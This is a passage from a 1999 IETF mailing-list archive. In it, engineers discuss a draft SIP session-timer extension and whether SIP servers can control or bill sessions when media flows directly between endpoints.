
<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Fixedsys">The amount of =
control that a SIP server exerts over sessions is a separate =
issue.&nbsp; As John Hearty accurately points out in a separate email, =
the user of the SIP device can choose to bypass the SIP server =
entirely.&nbsp; The challenge for service providers will be to =
implement services that make user's want to access the service =
provider's SIP server.</FONT></P>

<P><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">PatC</FONT>
</P>

<P><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;This time =
with the draft attached.&nbsp; Sorry for the extra mail.</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier =
New">&gt;Steve</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; =
&lt;&lt;draft-ietf-mmusic-sip-session-timer-00.txt&gt;&gt; </FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;&gt; =
-----Original Message-----</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;&gt; =
From:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Donovan, Steven R. =
(MCI) </FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;&gt; =
Sent:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Thursday, February 11, =
1999 10:17 AM</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;&gt; =
To:&nbsp; 'confctrl@ISI.EDU'; =
'iptel@lists.research.bell-labs.com'</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;&gt; =
Subject:&nbsp;&nbsp;&nbsp;&nbsp; =
draft-ietf-mmusic-sip-session-timer-00.txt</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;&gt; =
</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;&gt; This =
message is notification of the following Internet Draft which =
has</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;&gt; been =
submitted to the IETF for posting.</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;&gt; =
</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;&gt; =
&lt;draft-ietf-mmusic-sip-session-timer-00.txt&gt; </FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;&gt; =
</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;&gt; =
Abstract: </FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;&gt; =
</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;&gt; This =
document proposes an extension to the SIP specification.&nbsp; =
This</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;&gt; =
extension adds a new message header that is used to specify the </FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;&gt; =
duration of a requested session.</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;&gt; =
</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;&gt; The =
session timer can be used to limit the total duration of a =
session</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;&gt; if, =
for instance, one of the participants in the session wants to</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;&gt; =
limit the cost of the session.&nbsp; It can also be used by stateful =
SIP</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;&gt; =
Proxy Servers to track the status of sessions for which session =
state</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;&gt; =
exists on the servers. Currently a stateful SIP Proxy Server that is =
</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;&gt; not =
handling the media stream(s) for the session has no mechanism to =
</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;&gt; =
definitively determine the state of all sessions for which it has =
state.</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;&gt; =
While the SIP Specification does provide the BYE method for =
terminating</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;&gt; the =
session, there is no mechanism for a SIP Proxy Server to detect =
the</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;&gt; end =
of a session when the BYE message is not sent or is lost due to </FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;&gt; =
network problems.</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;&gt; =
</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;&gt; The =
internet draft is attached.</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;&gt; =
</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;&gt; =
Steve Donovan</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;&gt; =
MCIWorldcom</FONT>
</P>
</UL>
</BODY>
</HTML>
------_=_NextPart_001_01BE5611.BB663324--

From confctrl-owner  Thu Feb 11 15:26:47 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id PAA26271
	for confctrl-outgoing; Thu, 11 Feb 1999 15:26:47 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id PAA26266
	for <confctrl@zephyr.isi.edu>; Thu, 11 Feb 1999 15:26:46 -0800 (PST)
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id PAA03914
	for <confctrl@ISI.EDU>; Thu, 11 Feb 1999 15:26:44 -0800 (PST)
Received: from Eng.Sun.COM (engmail4 [129.144.134.6]) by mercury.Sun.COM (SMI-8.6/mail.byaddr) with SMTP id PAA00259; Thu, 11 Feb 1999 15:26:05 -0800
Received: from hsmpka.eng.sun.com (hsmpka.Eng.Sun.COM [129.146.65.47])
	by Eng.Sun.COM (SMI-8.6/SMI-5.3) with SMTP id PAA10168;
	Thu, 11 Feb 1999 15:26:03 -0800
Received: from hsmpka.eng.sun.com by hsmpka.eng.sun.com (SMI-8.6/SMI-SVR4)
	id PAA14779; Thu, 11 Feb 1999 15:25:52 -0800
From: Pat.Calhoun@Eng.Sun.COM (Patrice Calhoun)
Message-Id: <199902112325.PAA14779@hsmpka.eng.sun.com>
Date: Thu, 11 Feb 1999 15:21:44 -0800
To: "Donovan, Steven R. (MCI)" <Steven.R.Donovan@mci.com>,
        "'confctrl@ISI.EDU'" <confctrl@ISI.EDU>,
        "'iptel@lists.research.bell-labs.com'" <iptel@lists.research.bell-labs.com>,
        "'Pat.Calhoun@Eng.Sun.COM'" <Pat.Calhoun@Eng.Sun.COM>
Reply-To: <Pat.Calhoun@Eng.Sun.COM>
Subject: RE: draft-ietf-mmusic-sip-session-timer-00.txt
X-Mailer: Sun NetMail 2.2.5
MIME-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


>
>
>> -----Original Message-----
>> From:	Pat.Calhoun@Eng.Sun.COM [SMTP:Pat.Calhoun@Eng.Sun.COM]
>> Sent:	Thursday, February 11, 1999 1:02 PM
>> To:	Donovan, Steven R. (MCI); 'iptel@lists.research.bell-labs.com';
>> 'confctrl@ISI.EDU'
>> Subject:	RE: draft-ietf-mmusic-sip-session-timer-00.txt
>> 
>> Pardon the perhaps very naive question, but I suppose I am not as versant
>> in 
>> SIP as I would like to be.
>> 
>> My understanding is that a SIP Client issues an Invite message to a SIP
>> Server,
>> which in turn forwards the request to a target SIP Client (or some GW or
>> some
>> sort). Once the ACK has returned to the originating client, I was under
>> the
>> impression that both SIP Clients send RTP packets directly to each other,
>> bypassing the SIP Server (this is where I am unclear).
>> 
>	This depends on the implementation of the SIP Server.  There are
>valid reasons to have the SIP Server proxy the IP packets.  But in general,
>you are correct.  There will be SIP Servers that do not have a view of the
>RTP flow.
>
>> So if this is true, how will a SIP Server (stateful, or stateless) enforce
>> any
>> session timeouts? A malicious SIP Client can simply keep the session
>> active
>> for as long as it wishes, ignoring any messages from the SIP Server that
>> may
>> tell it to disconnect.
>> 
>> This, as far as I can see, could cause some serious problems if one wishes
>> to
>> deploy a service and still maintain some control over the sessions.
>> 
>> Again, perhaps I am way off here. Any clarifications would certainly be 
>> appreciated.
>> 
>	You are correct and I personally would not rely on reporting from
>the SIP Server to do reliable billing.  However, if a stateful SIP Proxy
>server is built, for whatever reason, the current SIP specification does not
>have a mechanism for the SIP server to know which of the sessions for which
>it has state are valid.  This draft gives the SIP Server a mechanism to
>remove those sessions that it feels are no longer valid.
>
>	The amount of control that a SIP server exerts over sessions is a
>separate issue.  As John Hearty accurately points out in a separate email,
>the user of the SIP device can choose to bypass the SIP server entirely.
>The challenge for service providers will be to implement services that make
>user's want to access the service provider's SIP server.

This is not actually true. It is quite simple for service providers to install
a set of filters in their systems that require that all RTP traffic be directed
to one of their local SIP Servers.

Note that I am not advocating such an idea. I like free service, but one must
realize that free services are rarely every deployed by the services 
providers :(

PatC
>
>> PatC
>> 
>> >This time with the draft attached.  Sorry for the extra mail.
>> >
>> >Steve
>> >
>> > <<draft-ietf-mmusic-sip-session-timer-00.txt>> 
>> >
>> >> -----Original Message-----
>> >> From:	Donovan, Steven R. (MCI) 
>> >> Sent:	Thursday, February 11, 1999 10:17 AM
>> >> To:	'confctrl@ISI.EDU'; 'iptel@lists.research.bell-labs.com'
>> >> Subject:	draft-ietf-mmusic-sip-session-timer-00.txt
>> >> 
>> >> This message is notification of the following Internet Draft which has
>> >> been submitted to the IETF for posting.
>> >> 
>> >> <draft-ietf-mmusic-sip-session-timer-00.txt> 
>> >> 
>> >> Abstract: 
>> >> 
>> >> This document proposes an extension to the SIP specification.  This
>> >> extension adds a new message header that is used to specify the 
>> >> duration of a requested session.
>> >> 
>> >> The session timer can be used to limit the total duration of a session
>> >> if, for instance, one of the participants in the session wants to
>> >> limit the cost of the session.  It can also be used by stateful SIP
>> >> Proxy Servers to track the status of sessions for which session state
>> >> exists on the servers. Currently a stateful SIP Proxy Server that is 
>> >> not handling the media stream(s) for the session has no mechanism to 
>> >> definitively determine the state of all sessions for which it has
>> state.
>> >> While the SIP Specification does provide the BYE method for terminating
>> >> the session, there is no mechanism for a SIP Proxy Server to detect the
>> >> end of a session when the BYE message is not sent or is lost due to 
>> >> network problems.
>> >> 
>> >> The internet draft is attached.
>> >> 
>> >> Steve Donovan
>> >> MCIWorldcom
>> 



From confctrl-owner  Thu Feb 11 15:59:21 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id PAA28457
	for confctrl-outgoing; Thu, 11 Feb 1999 15:59:21 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id PAA28452
	for <confctrl@zephyr.isi.edu>; Thu, 11 Feb 1999 15:59:19 -0800 (PST)
Received: from fep8.mail.ozemail.net (fep8.mail.ozemail.net [203.2.192.102])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id PAA07692
	for <confctrl@isi.edu>; Thu, 11 Feb 1999 15:59:16 -0800 (PST)
Received: from dcloweslap (h166.unit21.ozemail.com.au [203.108.13.166]) by fep8.mail.ozemail.net (8.9.0/8.6.12) with SMTP id KAA02547; Fri, 12 Feb 1999 10:58:50 +1100 (EST)
Message-Id: <3.0.3.32.19990212110125.006e80bc@mail.ozemail.com.au>
X-Sender: dclowes@mail.ozemail.com.au
X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.3 (32)
Date: Fri, 12 Feb 1999 11:01:25 +1100
To: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>, Pat.Calhoun@Eng.Sun.COM
From: Douglas Clowes <dclowes@ozemail.com.au>
Subject: Re: draft-ietf-mmusic-sip-session-timer-00.txt
Cc: "Donovan, Steven R. (MCI)" <Steven.R.Donovan@mci.com>,
        "'iptel@lists.research.bell-labs.com'" <iptel@lists.research.bell-labs.com>,
        "'confctrl@ISI.EDU'" <confctrl@ISI.EDU>
In-Reply-To: <36C35066.852BC71B@dnrc.bell-labs.com>
References: <199902111906.LAA28606@hsmpka.eng.sun.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

At 16:49 1999-02-11 -0500, Jonathan Rosenberg wrote:
>Patrice Calhoun wrote:
>> 
>> My understanding is that a SIP Client issues an Invite message to a SIP
Server,
>> which in turn forwards the request to a target SIP Client (or some GW or
some
>> sort). Once the ACK has returned to the originating client, I was under the
>> impression that both SIP Clients send RTP packets directly to each other,
>> bypassing the SIP Server (this is where I am unclear).
>
>Slight correction - ACK goes from caller to callee.
>
>But, in general, you are right. RTP bypasses the SIP servers.
>
>> 
>> So if this is true, how will a SIP Server (stateful, or stateless)
enforce any
>> session timeouts? A malicious SIP Client can simply keep the session active
>> for as long as it wishes, ignoring any messages from the SIP Server that
may
>> tell it to disconnect.
>> 
>> This, as far as I can see, could cause some serious problems if one
wishes to
>> deploy a service and still maintain some control over the sessions.
>

One wonders about the nature of the service you think to deploy. Where you
want to maintain session control without control of at least one enpoint.

>This is an excellent, excellent point, and is something I have been
>considering since the whole timeout/DTMF/INFO issues came up. The
>question you ask gets back to a more basic problem.

>Since, unlike
>traditional telephony, voice does not flow through the servers
>(gatekeepers or SIP servers or MXCP call agents) in Internet telephony,
>any sort of "control" a server would like to execute is based on an
>assumption that the user agents (the ones sending/receiving the media)
>would obey the servers.

Indeed, in traditional telephony (at least the SS7 kind), voice does not
flow through the control points. Control is maintained by having voice
nodes that obey control nodes.

In H.323 gatekeepers, the gatekeeper may route the control channels between
the endpoints, and issue termination commands in each direction, on those
channels. A gatekeeper may route the media through itself (although this is
unlikely), or another entity. What you wouldchoose to do would depend on
your trust of the level of control you exert on the endpoints, and the
consequences of any lack of control.

If you don't trust either endpoint, but must control the media session, or
conceal the endpoints from each other, you may have to route the media
through a Meter Box (tm), that you can trust. There are gateways that
transcode media (G.711 to G.723.1 for example) and a similar mechanism,
without transcoding, could be deployed.

> Consider the example of call transfer. Lets say
>we'd like to signal the service using DTMF, so a proxy subscribes to the
>DTMF from the client. The client presses the appropriate buttons on the
>phone, and the proxy decides to transfer. But, the media doesn't flow
>through the proxy, so it has no way of actually transferring the call.
>Rather, it will need to go back and tell the user agent to perform the
>transfer, since only the user agent can affect where the media goes to.
>In that case, why would the UA ask the network for the service in the
>first place?  It can simply be invoked directly by the client. In a
>network where voice transport is end to end, services based on changing
>characteristics of that transport (coding, destination, etc), must also
>be end to end. 
>
>Now, if the action the proxy asks to user to take is something the user
>wants to do anyway, maybe thats OK. But, if its something less
>cooperative, like forcing a hangup, or transferring to an operator,
>there is simply no incentive for the user to accept this. 
>
>-Jonathan R.
>-- 
>Jonathan D. Rosenberg                       Lucent Technologies
>Member of Technical Staff                   101 Crawfords Corner Rd.
>High Speed Networks Research                Holmdel, NJ 07733
>FAX: (732) 834-5379                         Rm. 4C-526
>EMAIL: jdrosen@bell-labs.com
>URL: http://www.cs.columbia.edu/~jdrosen
>
>---------
>This message came from the IETF IPTEL Working Group Mailing List.
>


Douglas


From confctrl-owner  Thu Feb 11 16:10:47 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id QAA29263
	for confctrl-outgoing; Thu, 11 Feb 1999 16:10:47 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id QAA29254
	for <confctrl@zephyr.isi.edu>; Thu, 11 Feb 1999 16:10:44 -0800 (PST)
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id QAA08979
	for <confctrl@isi.edu>; Thu, 11 Feb 1999 16:10:43 -0800 (PST)
Received: from Eng.Sun.COM (engmail4 [129.144.134.6]) by mercury.Sun.COM (SMI-8.6/mail.byaddr) with SMTP id QAA12438; Thu, 11 Feb 1999 16:10:04 -0800
Received: from hsmpka.eng.sun.com (hsmpka.Eng.Sun.COM [129.146.93.47])
	by Eng.Sun.COM (SMI-8.6/SMI-5.3) with SMTP id QAA16944;
	Thu, 11 Feb 1999 16:10:03 -0800
Received: from hsmpka.eng.sun.com by hsmpka.eng.sun.com (SMI-8.6/SMI-SVR4)
	id QAA27818; Thu, 11 Feb 1999 16:09:36 -0800
From: Pat.Calhoun@Eng.Sun.COM (Patrice Calhoun)
Message-Id: <199902120009.QAA27818@hsmpka.eng.sun.com>
Date: Thu, 11 Feb 1999 16:05:43 -0800
To: "Douglas Clowes" <dclowes@ozemail.com.au>, <Pat.Calhoun@Eng.Sun.COM>,
        "Jonathan Rosenberg" <jdrosen@dnrc.bell-labs.com>
Cc: "'confctrl@ISI.EDU'" <confctrl@ISI.EDU>,
        "'iptel@lists.research.bell-labs.com'" <iptel@lists.research.bell-labs.com>,
        "Donovan, Steven R. (MCI)" <Steven.R.Donovan@mci.com>
Reply-To: <Pat.Calhoun@Eng.Sun.COM>
Subject: Re: draft-ietf-mmusic-sip-session-timer-00.txt
X-Mailer: Sun NetMail 2.2.5
MIME-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Well, perhaps I missed something fundamental here, but my understanding is that
what we have here is analogous to two telephones using the PSTN to get the
call endpoint established, and then completely ignores the PSTN. 

If this is the case, certainly the PSTN carrier can charge for the initial 
endpoint resolution information, but is not involved at all afterwards. So
an intelligent user could figure out what physical port on which switch to
contact to get to his mother, and completely bypass the IN.

My only concern here is how does the service provider offer a service *and*
make at least enough money to recover the capital costs (of course, certain
providers may want to cover many additional costs, which is outside the scope
of this discussion :).

PatC

DISCLAIMER: I have a funny feeling that I've missed something fundamental here.
Please feel free to correct my statement above if it is technically incorrect.

>At 16:49 1999-02-11 -0500, Jonathan Rosenberg wrote:
>>Patrice Calhoun wrote:
>>> 
>>> My understanding is that a SIP Client issues an Invite message to a SIP
>Server,
>>> which in turn forwards the request to a target SIP Client (or some GW or
>some
>>> sort). Once the ACK has returned to the originating client, I was under the
>>> impression that both SIP Clients send RTP packets directly to each other,
>>> bypassing the SIP Server (this is where I am unclear).
>>
>>Slight correction - ACK goes from caller to callee.
>>
>>But, in general, you are right. RTP bypasses the SIP servers.
>>
>>> 
>>> So if this is true, how will a SIP Server (stateful, or stateless)
>enforce any
>>> session timeouts? A malicious SIP Client can simply keep the session active
>>> for as long as it wishes, ignoring any messages from the SIP Server that
>may
>>> tell it to disconnect.
>>> 
>>> This, as far as I can see, could cause some serious problems if one
>wishes to
>>> deploy a service and still maintain some control over the sessions.
>>
>
>One wonders about the nature of the service you think to deploy. Where you
>want to maintain session control without control of at least one enpoint.
>
>>This is an excellent, excellent point, and is something I have been
>>considering since the whole timeout/DTMF/INFO issues came up. The
>>question you ask gets back to a more basic problem.
>
>>Since, unlike
>>traditional telephony, voice does not flow through the servers
>>(gatekeepers or SIP servers or MXCP call agents) in Internet telephony,
>>any sort of "control" a server would like to execute is based on an
>>assumption that the user agents (the ones sending/receiving the media)
>>would obey the servers.
>
>Indeed, in traditional telephony (at least the SS7 kind), voice does not
>flow through the control points. Control is maintained by having voice
>nodes that obey control nodes.
>
>In H.323 gatekeepers, the gatekeeper may route the control channels between
>the endpoints, and issue termination commands in each direction, on those
>channels. A gatekeeper may route the media through itself (although this is
>unlikely), or another entity. What you wouldchoose to do would depend on
>your trust of the level of control you exert on the endpoints, and the
>consequences of any lack of control.
>
>If you don't trust either endpoint, but must control the media session, or
>conceal the endpoints from each other, you may have to route the media
>through a Meter Box (tm), that you can trust. There are gateways that
>transcode media (G.711 to G.723.1 for example) and a similar mechanism,
>without transcoding, could be deployed.
>
>> Consider the example of call transfer. Lets say
>>we'd like to signal the service using DTMF, so a proxy subscribes to the
>>DTMF from the client. The client presses the appropriate buttons on the
>>phone, and the proxy decides to transfer. But, the media doesn't flow
>>through the proxy, so it has no way of actually transferring the call.
>>Rather, it will need to go back and tell the user agent to perform the
>>transfer, since only the user agent can affect where the media goes to.
>>In that case, why would the UA ask the network for the service in the
>>first place?  It can simply be invoked directly by the client. In a
>>network where voice transport is end to end, services based on changing
>>characteristics of that transport (coding, destination, etc), must also
>>be end to end. 
>>
>>Now, if the action the proxy asks to user to take is something the user
>>wants to do anyway, maybe thats OK. But, if its something less
>>cooperative, like forcing a hangup, or transferring to an operator,
>>there is simply no incentive for the user to accept this. 
>>
>>-Jonathan R.
>>-- 
>>Jonathan D. Rosenberg                       Lucent Technologies
>>Member of Technical Staff                   101 Crawfords Corner Rd.
>>High Speed Networks Research                Holmdel, NJ 07733
>>FAX: (732) 834-5379                         Rm. 4C-526
>>EMAIL: jdrosen@bell-labs.com
>>URL: http://www.cs.columbia.edu/~jdrosen
>>
>>---------
>>This message came from the IETF IPTEL Working Group Mailing List.
>>
>
>
>Douglas
>



From confctrl-owner  Thu Feb 11 17:04:24 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id RAA03428
	for confctrl-outgoing; Thu, 11 Feb 1999 17:04:24 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id RAA03418
	for <confctrl@zephyr.isi.edu>; Thu, 11 Feb 1999 17:04:21 -0800 (PST)
Received: from internal.mediatrix.com ([205.237.248.36])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id RAA15680
	for <confctrl@ISI.EDU>; Thu, 11 Feb 1999 17:04:19 -0800 (PST)
Received: by INTERNAL with Internet Mail Service (5.5.2232.9)
	id <DPD1VKP7>; Thu, 11 Feb 1999 20:04:37 -0500
Message-ID: <F16674FCE856D211AC0D00E02910AE0A07B517@INTERNAL>
From: Francois Menard Distribution List Management Account
	 <fm-listproc@mediatrix.com>
To: "'Pat.Calhoun@Eng.Sun.COM'" <Pat.Calhoun@Eng.Sun.COM>,
        "Donovan, Steven R. (MCI)" <Steven.R.Donovan@mci.com>,
        "'confctrl@ISI.EDU'" <confctrl@ISI.EDU>,
        "'iptel@lists.research.bell-labs.com'"
	 <iptel@lists.research.bell-labs.com>
Subject: RE: draft-ietf-mmusic-sip-session-timer-00.txt
Date: Thu, 11 Feb 1999 20:04:36 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2232.9)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

There is no way to properyly time the session unless the end-point is a
controlled network element.  A gatekeeper and/or SIP server cant do anything
unless the media stream gets through it ... of course, a SIP server, and or
H.323 gatekeeper can talk to routers, which control an IP media stream, and
affect the media stream.

Even worse, a sip server / gatekeeper that wishes to track the end of a call
so that it can bill by the second needs to worry about end points that just
go out and die and never send an end of conversation ... this mechanism is
not yet specified ...

-=Francois=-

-----Original Message-----
From: Pat.Calhoun@Eng.Sun.COM [mailto:Pat.Calhoun@Eng.Sun.COM]
Sent: Thursday, February 11, 1999 6:22 PM
To: Donovan, Steven R. (MCI); 'confctrl@ISI.EDU';
'iptel@lists.research.bell-labs.com'; 'Pat.Calhoun@Eng.Sun.COM'
Subject: RE: draft-ietf-mmusic-sip-session-timer-00.txt



>
>
>> -----Original Message-----
>> From:	Pat.Calhoun@Eng.Sun.COM [SMTP:Pat.Calhoun@Eng.Sun.COM]
>> Sent:	Thursday, February 11, 1999 1:02 PM
>> To:	Donovan, Steven R. (MCI); 'iptel@lists.research.bell-labs.com';
>> 'confctrl@ISI.EDU'
>> Subject:	RE: draft-ietf-mmusic-sip-session-timer-00.txt
>> 
>> Pardon the perhaps very naive question, but I suppose I am not as versant
>> in 
>> SIP as I would like to be.
>> 
>> My understanding is that a SIP Client issues an Invite message to a SIP
>> Server,
>> which in turn forwards the request to a target SIP Client (or some GW or
>> some
>> sort). Once the ACK has returned to the originating client, I was under
>> the
>> impression that both SIP Clients send RTP packets directly to each other,
>> bypassing the SIP Server (this is where I am unclear).
>> 
>	This depends on the implementation of the SIP Server.  There are
>valid reasons to have the SIP Server proxy the IP packets.  But in general,
>you are correct.  There will be SIP Servers that do not have a view of the
>RTP flow.
>
>> So if this is true, how will a SIP Server (stateful, or stateless)
enforce
>> any
>> session timeouts? A malicious SIP Client can simply keep the session
>> active
>> for as long as it wishes, ignoring any messages from the SIP Server that
>> may
>> tell it to disconnect.
>> 
>> This, as far as I can see, could cause some serious problems if one
wishes
>> to
>> deploy a service and still maintain some control over the sessions.
>> 
>> Again, perhaps I am way off here. Any clarifications would certainly be 
>> appreciated.
>> 
>	You are correct and I personally would not rely on reporting from
>the SIP Server to do reliable billing.  However, if a stateful SIP Proxy
>server is built, for whatever reason, the current SIP specification does
not
>have a mechanism for the SIP server to know which of the sessions for which
>it has state are valid.  This draft gives the SIP Server a mechanism to
>remove those sessions that it feels are no longer valid.
>
>	The amount of control that a SIP server exerts over sessions is a
>separate issue.  As John Hearty accurately points out in a separate email,
>the user of the SIP device can choose to bypass the SIP server entirely.
>The challenge for service providers will be to implement services that make
>user's want to access the service provider's SIP server.

This is not actually true. It is quite simple for service providers to
install
a set of filters in their systems that require that all RTP traffic be
directed
to one of their local SIP Servers.

Note that I am not advocating such an idea. I like free service, but one
must
realize that free services are rarely every deployed by the services 
providers :(

PatC
>
>> PatC
>> 
>> >This time with the draft attached.  Sorry for the extra mail.
>> >
>> >Steve
>> >
>> > <<draft-ietf-mmusic-sip-session-timer-00.txt>> 
>> >
>> >> -----Original Message-----
>> >> From:	Donovan, Steven R. (MCI) 
>> >> Sent:	Thursday, February 11, 1999 10:17 AM
>> >> To:	'confctrl@ISI.EDU'; 'iptel@lists.research.bell-labs.com'
>> >> Subject:	draft-ietf-mmusic-sip-session-timer-00.txt
>> >> 
>> >> This message is notification of the following Internet Draft which has
>> >> been submitted to the IETF for posting.
>> >> 
>> >> <draft-ietf-mmusic-sip-session-timer-00.txt> 
>> >> 
>> >> Abstract: 
>> >> 
>> >> This document proposes an extension to the SIP specification.  This
>> >> extension adds a new message header that is used to specify the 
>> >> duration of a requested session.
>> >> 
>> >> The session timer can be used to limit the total duration of a session
>> >> if, for instance, one of the participants in the session wants to
>> >> limit the cost of the session.  It can also be used by stateful SIP
>> >> Proxy Servers to track the status of sessions for which session state
>> >> exists on the servers. Currently a stateful SIP Proxy Server that is 
>> >> not handling the media stream(s) for the session has no mechanism to 
>> >> definitively determine the state of all sessions for which it has
>> state.
>> >> While the SIP Specification does provide the BYE method for
terminating
>> >> the session, there is no mechanism for a SIP Proxy Server to detect
the
>> >> end of a session when the BYE message is not sent or is lost due to 
>> >> network problems.
>> >> 
>> >> The internet draft is attached.
>> >> 
>> >> Steve Donovan
>> >> MCIWorldcom
>> 



---------
This message came from the IETF IPTEL Working Group Mailing List.

From confctrl-owner  Thu Feb 11 17:25:57 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id RAA04797
	for confctrl-outgoing; Thu, 11 Feb 1999 17:25:57 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id RAA04787
	for <confctrl@zephyr.isi.edu>; Thu, 11 Feb 1999 17:25:55 -0800 (PST)
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id RAA17597
	for <confctrl@ISI.EDU>; Thu, 11 Feb 1999 17:25:54 -0800 (PST)
Received: from Eng.Sun.COM (engmail4 [129.144.134.6]) by mercury.Sun.COM (SMI-8.6/mail.byaddr) with SMTP id RAA02130; Thu, 11 Feb 1999 17:25:17 -0800
Received: from hsmpka.eng.sun.com (hsmpka.Eng.Sun.COM [129.146.101.47])
	by Eng.Sun.COM (SMI-8.6/SMI-5.3) with SMTP id RAA28228;
	Thu, 11 Feb 1999 17:25:15 -0800
Received: from hsmpka.eng.sun.com by hsmpka.eng.sun.com (SMI-8.6/SMI-SVR4)
	id RAA18009; Thu, 11 Feb 1999 17:25:03 -0800
From: Pat.Calhoun@Eng.Sun.COM (Patrice Calhoun)
Message-Id: <199902120125.RAA18009@hsmpka.eng.sun.com>
